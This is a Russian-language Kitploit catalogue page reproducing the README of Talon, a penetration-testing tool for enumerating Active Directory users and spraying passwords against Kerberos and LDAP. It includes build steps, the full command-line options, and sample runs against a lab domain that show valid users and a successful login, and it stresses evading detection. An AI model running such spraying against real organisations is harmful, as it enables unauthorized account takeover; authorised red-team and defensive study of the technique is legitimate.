Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/optiv/talon
Взлом паролейАтаки на ПаролиТестирование на ПроникновениеАутентификацияRed TeamingArchived
GitHuboptiv/talon

Talon

Инструмент для подбора паролей, нацеленный на службы Kerberos и LDAP в среде Active Directory Windows.

Репозиторий
441813 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ЭТОТ РЕПОЗИТОРИЙ БЫЛ ЗААРХИВИРОВАН

Чтобы просмотреть последнюю версию Talon или отправить вопрос, перейдите по ссылке https://github.com/Tylous/Talon.



Talon

Talon — это инструмент, предназначенный для автоматических атак по подбору паролей, оставаясь незамеченным. Talon может перечислять список пользователей, чтобы определить, какие из них действительны, используя Kerberos. Talon также может выполнять атаку по подбору паролей против сервисов Kerberos и LDAPS (LDAP Secure). Talon может использовать как один контроллер домена, так и несколько для выполнения этих атак, рандомизируя каждую попытку между контроллерами домена и сервисами (LDAP или Kerberos).

Более подробную информацию о техниках можно найти в следующем Блоге

Использование

Загрузите релиз для вашей ОС из релизов

Участие в разработке

Talon был разработан на golang.

Первым шагом, как обычно, является клонирование репозитория. Перед компиляцией Talon вам нужно установить зависимости. Для их установки выполните следующие команды:

root@kitploit:~
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2

Затем соберите

root@kitploit:~
go build Talon.go

Использование

root@kitploit:~
$ ./Talon -h
Usage of ./Talon:
  -A float
    	Authentication attempts per lockout period (default 3)
  -D string
    	Fully qualified domain to use
  -E	Enumerates which users are valid
  -H string
    	Domain controller to connect to
  -Hostfile string
    	File containing the list of domain controllers to connect to
  -K	Test against Kerberos only
  -L	Test against LDAP only
  -Lockout float
    	Account lockout period in minutes (default 60)
  -O string
    	File to append the results to
  -P string
    	Password to use
  -Passfile string
    	File containing the list of passwords
  -U string
    	Username to authenticate as
  -Userfile string
    	File containing the list of usernames
  -debug
    	Print debug statements
  -sleep float
    	Time inbetween attempts (default 0.5)

Режим перечисления

Режим перечисления пользователей можно выполнить с флагом -E, который отправляет только запрос предварительной аутентификации TGT Kerberos на целевой KDC, однако этот запрос отправляется с заведомо неверным или неподдерживаемым типом шифрования. Talon анализирует ответ KDC, чтобы определить, отвечает ли он KDC_ERR_ETYPE_NOSUPP, что указывает на существование пользователя, или KDC_ERR_C_PRINCIPAL_UNKNOWN, если его нет. Talon может выполнять такой тип перечисления против нескольких контроллеров домена в предприятии, используя команду -Hostfile для указания нескольких контроллеров домена, или одного контроллера домена с помощью -H. Использование этой техники не вызовет сбоев входа, поэтому она не заблокирует ни одного пользователя.

root@kitploit:~
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E 

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.195 STARLABS.LOCAL\asmith:  = User Does Not Exist
[+]  172.16.144.185 STARLABS.LOCAL\ballen:  = User Exist
[-]  172.16.144.186 STARLABS.LOCAL\bjohnson:  = User Does Not Exist
[-]  172.16.144.195 STARLABS.LOCAL\bwayne:  = User Does Not Exist
[+]  172.16.144.195 STARLABS.LOCAL\csnow:  = User Exist
[-]  172.16.144.186 STARLABS.LOCAL\jtodd:  = User Does Not Exist
[+]  172.16.144.186 STARLABS.LOCAL\hwells:  = User Exist
[-]  172.16.144.186 STARLABS.LOCAL\wwest:  = User's Account Locked

Режим автоматического подбора паролей

Talon использует Kerberos и LDAP, которые оба интегрированы в Active Directory для аутентификации. Talon может выполнять подбор паролей, чередуя два сервиса, что позволяет разделить трафик атаки на два протокола. Это уменьшает количество потенциально генерируемых событий, снижая вероятность обнаружения. Talon делает еще один шаг, распределяя атаку на пароли по нескольким контроллерам домена в предприятии с помощью -Hostfile, каждый раз чередуя LDAP и Kerberos, чтобы создать дополнительный уровень скрытности. При необходимости можно указать один контроллер домена с помощью команды -H.

root@kitploit:~
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)

                
[-]  172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-]  172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+]  172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-]  172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed

Talon спроектирован так, чтобы быть универсальным в любой ситуации. Если доступен только Kerberos, Talon можно настроить на атаку только против Kerberos с помощью флага -K или только LDAP с помощью флага -L.

Talon может использовать как Kerberos, так и LDAP для чтения ответов во время атаки по подбору паролей. Talon может обнаруживать блокировки учетных записей во время активной атаки по подбору паролей, читая код ответа от каждой попытки ввода пароля. Это помогает предотвратить нежелательную блокировку учетных записей в предприятии, помогая оставаться незамеченным. Просто следуйте подсказке, чтобы выйти или продолжить атаку.

root@kitploit:~
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[-]  172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-]  172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-]  172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:

Устранение неполадок

Talon оснащен функцией обнаружения, активны ли целевые контроллеры домена или становятся недоступными. Это помогает получать точные результаты, не теряя времени.

root@kitploit:~
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:

Управление временем

Talon имеет возможность выполнять подбор паролей по списку возможных паролей из файла, используя (-Passfile). Поскольку это может быть ОЧЕНЬ ОПАСНО, Talon имеет элементы управления для паузы после определенного количества попыток (-A) на заданное время (-Lockout). Обратите внимание, что важно знать политику паролей перед использованием этих опций, так как постановка в очередь нескольких попыток ввода пароля может заблокировать учетные записи, если у вас нет политики паролей.

root@kitploit:~
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5

  __________  ________  ___       ________  ________
  |\___    _\\\   __  \|\  \     |\   __  \|\   ___  \
  \|___ \  \_\ \  \|\  \ \  \    \ \  \|\  \ \  \\ \  \
       \ \  \ \ \   __  \ \  \    \ \  \\\  \ \  \\ \  \
        \ \  \ \ \  \ \  \ \  \____\ \  \\\  \ \  \\ \  \
         \ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
          \|__|  \|__|\|__|\|_______|\|_______|\|__| \|__|
					          (@Tyl0us)


[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y

03-10-2022 15:58:21: Using password: Password123
[-]  172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-]  172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-]  172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed

Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35
Журнал изменений
  • Опубликовано 04/09/2018
  • Версия 1.2 выпущена 14.02.2019
  • Версия 1.3 выпущена 03.05.2019
  • Версия 1.4 выпущена 17.03.2020
  • Версия 2.0 публичный релиз 18.06.2020
  • Версия 3.0 выпущена 10.03.2022
Скачать инструмент